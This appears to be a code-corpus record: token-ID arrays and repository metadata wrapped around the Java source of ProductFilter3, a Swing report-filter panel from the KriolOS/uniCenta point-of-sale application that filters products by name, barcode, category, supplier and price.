49,
244,
53,
49,
851,
49,
315,
49,
5810,
9405,
312,
733,
315,
299,
315,
449,
327,
1832,
46,
3183,
1061,
45,
111,
49,
6524,
18382,
2663,
322,
6981,
96,
111,
636,
244,
53,
49,
244,
53,
49,
851,
49,
315,
49,
5810,
9405,
312,
733,
1916,
315,
55,
299,
315,
449,
327,
1832,
46,
3183,
1061,
45,
111,
49,
6524,
10397,
96,
111,
636,
244,
53,
49,
851,
49,
851,
49,
315,
49,
5810,
9405,
312,
547,
339,
419,
339,
2125,
2922,
1061,
24463,
45,
53,
49,
6524,
2163,
51,
1340,
49,
244,
56,
56,
56,
56,
56,
56,
56,
56,
81,
49,
244,
54,
62,
59,
49,
244,
54,
62,
59,
49,
244,
54,
62,
59,
49,
327,
1832,
46,
6070,
51,
2784,
3041,
49,
5810,
9405,
312,
419,
2922,
1061,
24463,
45,
53,
49,
6524,
2163,
51,
1340,
49,
244,
54,
59,
59,
59,
59,
59,
59,
59,
81,
49,
244,
54,
62,
59,
49,
244,
54,
62,
59,
49,
244,
54,
62,
59,
49,
327,
1832,
46,
6070,
51,
2784,
3041,
49,
5810,
9405,
312,
419,
41705,
10607,
738,
51,
3903,
492,
419,
27020,
37026,
51,
4909,
4900,
55,
73,
492,
419,
648,
614,
55,
299,
16544,
51,
2784,
3041,
449,
244,
61,
53,
64,
419,
648,
851,
55,
299,
16544,
51,
2784,
3041,
449,
244,
54,
59,
53,
64,
419,
16544,
51,
2204,
6470,
3287,
51,
3903,
671,
459,
56,
53,
411,
244,
55,
49,
851,
55,
494,
244,
54,
49,
449,
61,
62,
57,
60,
61,
57,
62,
312,
419,
16544,
51,
2204,
6470,
3287,
51,
3903,
671,
459,
56,
53,
411,
244,
54,
49,
851,
55,
49,
449,
56,
61,
61,
54,
60,
61,
61,
312,
419,
16544,
51,
2204,
6470,
3287,
51,
3903,
671,
459,
59,
53,
411,
244,
55,
49,
614,
55,
494,
244,
54,
49,
449,
61,
62,
57,
60,
61,
57,
62,
312,
419,
16544,
51,
2204,
6470,
3287,
51,
3903,
671,
459,
59,
53,
411,
244,
54,
49,
614,
55,
49,
449,
56,
61,
61,
54,
60,
61,
61,
312,
419,
27020,
37026,
51,
4948,
2116,
45,
58,
61,
61,
62,
312,
419,
27020,
37026,
51,
3254,
4181,
492,
419,
27020,
37026,
51,
4948,
2116,
45,
58,
61,
61,
61,
312,
419,
27020,
37026,
51,
3254,
4181,
492,
419,
27020,
37026,
51,
4909,
4900,
55,
73,
492,
419,
1916,
315,
54,
299,
244,
54,
51,
53,
75,
449,
327,
1832,
18161,
2640,
2516,
1615,
51,
17217,
365,
449,
2366,
1061,
2148,
11085,
46,
536,
244,
54,
53,
53,
53,
51,
53,
73,
312,
419,
315,
54,
299,
3395,
51,
3262,
45,
107,
54,
49,
244,
53,
51,
53,
75,
49,
244,
54,
51,
53,
75,
312,
419,
648,
475,
55,
299,
327,
429,
2516,
54,
60,
53,
51,
53,
75,
494,
315,
54,
338,
244,
61,
58,
51,
53,
75,
312,
419,
648,
613,
54,
299,
327,
429,
2516,
54,
53,
53,
51,
53,
75,
494,
315,
54,
338,
244,
58,
58,
51,
53,
75,
312,
419,
648,
614,
54,
299,
327,
429,
2516,
54,
53,
51,
53,
75,
494,
315,
54,
338,
244,
54,
53,
51,
53,
75,
312,
419,
648,
851,
54,
299,
475,
55,
1281,
244,
54,
59,
542,
613,
54,
1281,
244,
61,
542,
614,
54,
64,
419,
648,
475,
54,
299,
244,
58,
54,
55,
536,
317,
100,
2276,
40943,
21829,
100,
53,
3148,
390,
5243,
9176,
365,
494,
244,
55,
64,
419,
648,
613,
55,
299,
16544,
51,
2784,
3041,
536,
317,
100,
2276,
40943,
21829,
100,
53,
3148,
390,
5243,
9176,
365,
449,
244,
61,
64,
419,
25502,
402,
3642,
17390,
318,
340,
299,
16544,
51,
318,
340,
10586,
64,
419,
25502,
402,
3642,
51,
3903,
4377,
45,
113,
54,
449,
244,
54,
49,
613,
55,
449,
244,
54,
49,
475,
54,
494,
244,
58,
53,
49,
613,
55,
494,
244,
54,
53,
49,
449,
54,
59,
53,
58,
56,
57,
62,
55,
62,
59,
312,
419,
16544,
51,
2204,
6470,
3287,
51,
3903,
671,
459,
332,
494,
2366,
24636,
3110,
494,
332,
9812,
52,
120,
411,
475,
54,
49,
613,
55,
49,
851,
54,
312,
419,
2922,
1061,
36195,
299,
1189,
51,
27359,
1061,
365,
449,
613,
64,
343,
339,
310,
339,
303,
339,
465,
964,
924,
1964,
2922,
1061,
45,
429,
317,
100,
3183,
1061,
100,
53,
3754,
1964,
317,
100,
3183,
1061,
100,
54,
3754,
648,
317,
100,
3183,
1061,
100,
56,
3754,
648,
317,
100,
3183,
1061,
100,
57,
3754,
648,
317,
100,
3183,
1061,
100,
58,
3754,
1916,
317,
100,
3183,
1061,
100,
59,
3754,
10914,
6470,
317,
100,
3183,
1061,
100,
60,
7943,
303,
320,
310,
1964,
613,
299,
317,
100,
3183,
1061,
100,
54,
100,
536,
244,
55,
53,
53,
53,
53,
53,
81,
64,
603,
434,
327,
110,
350,
244,
56,
81,
46,
310,
320,
343,
461,
244,
53,
81,
64,
310,
339,
310,
832,
310,
320,
343,
317,
100,
3183,
1061,
100,
60,
3148,
985,
1181,
2640,
18161,
1832,
46,
117,
100,
3183,
1061,
100,
53,
100,
494,
244,
53,
51,
58,
75,
490,
327,
2640,
2516,
117,
100,
3183,
1061,
100,
59,
100,
449,
327,
1832,
46,
110,
494,
244,
53,
51,
58,
75,
490,
244,
53,
51,
53,
73,
566,
1507,
45,
117,
100,
3183,
1061,
100,
56,
3754,
317,
100,
3183,
1061,
100,
57,
3754,
317,
100,
3183,
1061,
100,
58,
3754,
244,
55,
58,
58,
566,
435,
5647,
492,
343,
317,
100,
3183,
1061,
100,
60,
3148,
985,
1181,
2640,
18161,
1832,
46,
117,
100,
3183,
1061,
100,
53,
100,
494,
244,
53,
51,
58,
75,
490,
327,
2640,
2516,
117,
100,
3183,
1061,
100,
59,
100,
494,
244,
53,
51,
58,
75,
490,
244,
53,
51,
53,
73,
566,
1507,
45,
117,
100,
3183,
1061,
100,
56,
3754,
317,
100,
3183,
1061,
100,
57,
3754,
317,
100,
3183,
1061,
100,
58,
3754,
244,
55,
58,
58,
566,
435,
5647,
492,
343,
461,
613,
64,
310,
339,
303,
339,
465,
964,
924,
1964,
2922,
1061,
24463,
45,
429,
317,
100,
3183,
1061,
24463,
100,
53,
3754,
648,
317,
100,
3183,
1061,
24463,
100,
54,
3754,
1964,
317,
100,
3183,
1061,
24463,
100,
55,
3754,
648,
317,
100,
3183,
1061,
24463,
100,
57,
3754,
648,
317,
100,
3183,
1061,
24463,
100,
58,
3754,
648,
317,
100,
3183,
1061,
24463,
100,
59,
3754,
1916,
317,
100,
3183,
1061,
24463,
100,
60,
3754,
10914,
6470,
317,
100,
3183,
1061,
24463,
100,
61,
7943,
303,
320,
310,
1964,
613,
299,
317,
100,
3183,
1061,
24463,
100,
55,
100,
536,
244,
55,
53,
53,
53,
53,
53,
81,
64,
603,
434,
327,
110,
350,
244,
56,
81,
46,
310,
320,
343,
461,
244,
53,
81,
64,
310,
339,
310,
832,
310,
320,
343,
317,
100,
3183,
1061,
24463,
100,
61,
3148,
985,
1181,
2640,
18161,
1832,
46,
117,
100,
3183,
1061,
24463,
100,
53,
100,
494,
244,
53,
51,
58,
75,
490,
327,
2640,
2516,
117,
100,
3183,
1061,
24463,
100,
60,
100,
449,
327,
1832,
46,
110,
494,
244,
53,
51,
58,
75,
490,
244,
53,
51,
53,
73,
566,
1507,
45,
117,
100,
3183,
1061,
24463,
100,
57,
3754,
317,
100,
3183,
1061,
24463,
100,
58,
3754,
317,
100,
3183,
1061,
24463,
100,
59,
3754,
244,
55,
58,
58,
566,
435,
5647,
492,
343,
317,
100,
3183,
1061,
24463,
100,
61,
3148,
985,
1181,
2640,
18161,
1832,
46,
117,
100,
3183,
1061,
24463,
100,
54,
100,
494,
244,
53,
51,
58,
75,
490,
327,
2640,
2516,
117,
100,
3183,
1061,
24463,
100,
60,
100,
449,
327,
1832,
46,
110,
494,
244,
53,
51,
58,
75,
490,
244,
53,
51,
53,
73,
566,
1507,
45,
117,
100,
3183,
1061,
24463,
100,
57,
3754,
317,
100,
3183,
1061,
24463,
100,
58,
3754,
317,
100,
3183,
1061,
24463,
100,
59,
3754,
244,
55,
58,
58,
566,
435,
5647,
492,
343,
461,
613,
64,
310,
339,
303,
339,
465,
581,
924,
1922,
36470,
365,
303,
320,
310,
461,
4537,
64,
303,
339,
465,
581,
924,
462,
16327,
36195,
303,
320,
310,
581,
1964,
1153,
2148,
36195,
299,
244,
53,
81,
64,
310,
581,
1964,
1153,
36195,
299,
244,
53,
81,
64,
603,
581,
782,
1496,
365,
310,
320,
343,
434,
327,
40943,
21829,
51,
2498,
46,
343,
320,
419,
434,
327,
597,
51,
1021,
2148,
36195,
630,
244,
53,
81,
46,
419,
320,
547,
477,
51,
1021,
2148,
36195,
299,
1189,
51,
27359,
1061,
492,
419,
339,
343,
339,
310,
339,
603,
581,
782,
962,
365,
310,
320,
343,
434,
327,
40943,
21829,
51,
2498,
46,
343,
320,
419,
434,
327,
597,
51,
1021,
2148,
36195,
882,
244,
53,
81,
46,
419,
320,
547,
477,
51,
1021,
36195,
1475,
1189,
51,
27359,
1061,
365,
449,
477,
51,
1021,
2148,
36195,
64,
547,
477,
51,
1021,
2148,
36195,
299,
244,
53,
81,
64,
419,
339,
343,
339,
310,
339,
603,
964,
782,
5672,
365,
310,
320,
343,
477,
51,
1021,
36195,
299,
244,
53,
81,
64,
343,
477,
51,
1021,
2148,
36195,
299,
244,
53,
81,
64,
310,
339,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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seen/poolborges_unicenta-pos/kriolos-opos-app/src/main/java/com/openbravo/pos/ticket/ProductFilter3.java
|
// KriolOS POS
// Copyright (c) 2019-2023 KriolOS
//
//
//
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
package com.openbravo.pos.ticket;
import com.openbravo.basic.BasicException;
import com.openbravo.data.gui.ComboBoxValModel;
import com.openbravo.data.gui.ListQBFModelNumber;
import com.openbravo.data.loader.Datas;
import com.openbravo.data.loader.QBFCompareEnum;
import com.openbravo.data.loader.SentenceList;
import com.openbravo.data.loader.SerializerWrite;
import com.openbravo.data.loader.SerializerWriteBasic;
import com.openbravo.format.Formats;
import com.openbravo.pos.forms.AppLocal;
import com.openbravo.pos.forms.AppView;
import com.openbravo.pos.forms.DataLogicSales;
import com.openbravo.pos.reports.ReportEditorCreator;
import com.openbravo.pos.suppliers.DataLogicSuppliers;
import java.awt.Component;
import java.util.List;
/**
*
* @author JG uniCenta
*/
public class ProductFilter3 extends javax.swing.JPanel implements ReportEditorCreator {
private SentenceList m_sentcat;
private ComboBoxValModel m_CategoryModel;
private SentenceList m_sentsup;
private ComboBoxValModel m_SupplierModel;
/** Creates new form JQBFProduct */
public ProductFilter3() {
initComponents();
}
/**
*
* @param app
*/
@Override
public void init(AppView app) {
DataLogicSales dlSales = (DataLogicSales) app.getBean("com.openbravo.pos.forms.DataLogicSales");
DataLogicSuppliers dlSuppliers = (DataLogicSuppliers) app.getBean("com.openbravo.pos.suppliers.DataLogicSuppliers");
m_sentcat = dlSales.getCategoriesList();
m_CategoryModel = new ComboBoxValModel();
m_sentsup = dlSuppliers.getSupplierList();
m_SupplierModel = new ComboBoxValModel();
m_jCboName.setModel(ListQBFModelNumber.getMandatoryString());
m_jCboPriceBuy.setModel(ListQBFModelNumber.getMandatoryNumber());
m_jCboPriceSell.setModel(ListQBFModelNumber.getMandatoryNumber());
}
/**
*
* @throws BasicException
*/
@Override
public void activate() throws BasicException {
List catlist = m_sentcat.list();
catlist.add(0, null);
m_CategoryModel = new ComboBoxValModel(catlist);
m_jCategory.setModel(m_CategoryModel);
List suplist = m_sentsup.list();
suplist.add(0, null);
m_SupplierModel = new ComboBoxValModel(suplist);
m_jSupplier.setModel(m_SupplierModel);
}
/**
*
* @return
*/
@Override
public SerializerWrite getSerializerWrite() {
return new SerializerWriteBasic(
new Datas[] {
Datas.OBJECT, Datas.STRING,
Datas.OBJECT, Datas.DOUBLE,
Datas.OBJECT, Datas.DOUBLE,
Datas.OBJECT, Datas.STRING,
Datas.OBJECT, Datas.STRING,
Datas.OBJECT, Datas.STRING});
}
/**
*
* @return
*/
@Override
public Component getComponent() {
return this;
}
/**
*
* @return
* @throws BasicException
*/
@Override
public Object createValue() throws BasicException {
if (m_jBarcode.getText() == null || m_jBarcode.getText().equals("")) {
return new Object[] {
m_jCboName.getSelectedItem(), m_jName.getText(),
m_jCboPriceBuy.getSelectedItem(), Formats.CURRENCY.parseValue(m_jPriceBuy.getText()),
m_jCboPriceSell.getSelectedItem(), Formats.CURRENCY.parseValue(m_jPriceSell.getText()),
m_CategoryModel.getSelectedKey() == null ? QBFCompareEnum.COMP_NONE : QBFCompareEnum.COMP_EQUALS, m_CategoryModel.getSelectedKey(),
m_SupplierModel.getSelectedKey() == null ? QBFCompareEnum.COMP_NONE : QBFCompareEnum.COMP_EQUALS, m_SupplierModel.getSelectedKey(),
QBFCompareEnum.COMP_NONE, null
};
} else {
return new Object[] {
QBFCompareEnum.COMP_NONE, null,
QBFCompareEnum.COMP_NONE, null,
QBFCompareEnum.COMP_NONE, null,
QBFCompareEnum.COMP_NONE, null,
QBFCompareEnum.COMP_NONE, null,
QBFCompareEnum.COMP_EQUALS, m_jBarcode.getText()
};
}
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
m_jBarcode = new javax.swing.JTextField();
jLabel5 = new javax.swing.JLabel();
jLabel1 = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
m_jCategory = new javax.swing.JComboBox();
m_jCboName = new javax.swing.JComboBox();
m_jName = new javax.swing.JTextField();
jLabel4 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
m_jCboPriceBuy = new javax.swing.JComboBox();
m_jCboPriceSell = new javax.swing.JComboBox();
m_jPriceBuy = new javax.swing.JTextField();
m_jPriceSell = new javax.swing.JTextField();
jLabel6 = new javax.swing.JLabel();
m_jSupplier = new javax.swing.JComboBox();
jBtnReset = new javax.swing.JButton();
setMaximumSize(new java.awt.Dimension(480, 230));
setMinimumSize(new java.awt.Dimension(480, 230));
setPreferredSize(new java.awt.Dimension(480, 230));
m_jBarcode.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
m_jBarcode.setPreferredSize(new java.awt.Dimension(150, 30));
jLabel5.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
jLabel5.setText(AppLocal.getIntString("label.prodbarcode")); // NOI18N
jLabel5.setPreferredSize(new java.awt.Dimension(100, 30));
jLabel1.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
jLabel1.setText(AppLocal.getIntString("label.prodcategory")); // NOI18N
jLabel1.setPreferredSize(new java.awt.Dimension(100, 30));
jLabel2.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
jLabel2.setText(AppLocal.getIntString("label.prodname")); // NOI18N
jLabel2.setPreferredSize(new java.awt.Dimension(100, 30));
m_jCategory.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
m_jCategory.setPreferredSize(new java.awt.Dimension(150, 30));
m_jCboName.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
m_jCboName.setPreferredSize(new java.awt.Dimension(150, 30));
m_jName.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
m_jName.setPreferredSize(new java.awt.Dimension(150, 30));
jLabel4.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
jLabel4.setText(AppLocal.getIntString("label.prodpricebuy")); // NOI18N
jLabel4.setPreferredSize(new java.awt.Dimension(100, 30));
jLabel3.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
jLabel3.setText(AppLocal.getIntString("label.prodpricesell")); // NOI18N
jLabel3.setPreferredSize(new java.awt.Dimension(100, 30));
m_jCboPriceBuy.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
m_jCboPriceBuy.setPreferredSize(new java.awt.Dimension(150, 30));
m_jCboPriceSell.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
m_jCboPriceSell.setPreferredSize(new java.awt.Dimension(150, 30));
m_jPriceBuy.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
m_jPriceBuy.setPreferredSize(new java.awt.Dimension(60, 30));
m_jPriceSell.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
m_jPriceSell.setPreferredSize(new java.awt.Dimension(60, 30));
jLabel6.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
jLabel6.setText(AppLocal.getIntString("label.prodsupplier")); // NOI18N
jLabel6.setPreferredSize(new java.awt.Dimension(100, 30));
m_jSupplier.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
m_jSupplier.setPreferredSize(new java.awt.Dimension(150, 30));
jBtnReset.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N
jBtnReset.setIcon(new javax.swing.ImageIcon(getClass().getResource("/com/openbravo/images/reload.png"))); // NOI18N
jBtnReset.setMaximumSize(new java.awt.Dimension(480, 230));
jBtnReset.setMinimumSize(new java.awt.Dimension(480, 230));
jBtnReset.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jBtnResetActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
.addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(m_jCboName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(m_jName, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
.addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(m_jCboPriceBuy, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(m_jPriceBuy, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
.addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(m_jCboPriceSell, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(m_jPriceSell, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(m_jCategory, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel6, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(m_jSupplier, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(m_jBarcode, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jBtnReset, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(m_jCboName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(m_jName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(m_jBarcode, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addComponent(jBtnReset, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(m_jCategory, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 8, Short.MAX_VALUE)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel6, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(m_jSupplier, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(m_jCboPriceBuy, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(m_jPriceBuy, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(m_jCboPriceSell, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(m_jPriceSell, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap(8, Short.MAX_VALUE))
);
}// </editor-fold>//GEN-END:initComponents
private void jBtnResetActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jBtnResetActionPerformed
m_jBarcode.setText(null);
m_jCategory.setSelectedIndex(0);
m_jCboName.setSelectedIndex(0);
m_jCboPriceBuy.setSelectedIndex(0);
m_jCboPriceSell.setSelectedIndex(0);
m_jName.setText(null);
m_jPriceBuy.setText(null);
m_jPriceSell.setText(null);
}//GEN-LAST:event_jBtnResetActionPerformed
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jBtnReset;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JTextField m_jBarcode;
private javax.swing.JComboBox m_jCategory;
private javax.swing.JComboBox m_jCboName;
private javax.swing.JComboBox m_jCboPriceBuy;
private javax.swing.JComboBox m_jCboPriceSell;
private javax.swing.JTextField m_jName;
private javax.swing.JTextField m_jPriceBuy;
private javax.swing.JTextField m_jPriceSell;
private javax.swing.JComboBox m_jSupplier;
// End of variables declaration//GEN-END:variables
}
| 20,186
|
Java
|
.java
|
poolborges/unicenta-pos
| 30
| 35
| 3
|
2019-09-06T19:22:01Z
|
2023-10-30T20:32:04Z
|
c0a8de1d9c39579f3ea60f5dca12dc9a108f30fc794f153fc12b2b54bd12247b
|
[
325,
283,
1242,
363,
381,
2653,
26285,
222,
325,
283,
2657,
327,
104,
46,
244,
55,
53,
54,
62,
50,
55,
53,
55,
56,
1242,
363,
381,
2653,
222,
325,
281,
222,
325,
222,
325,
665,
222,
325,
222,
325,
283,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
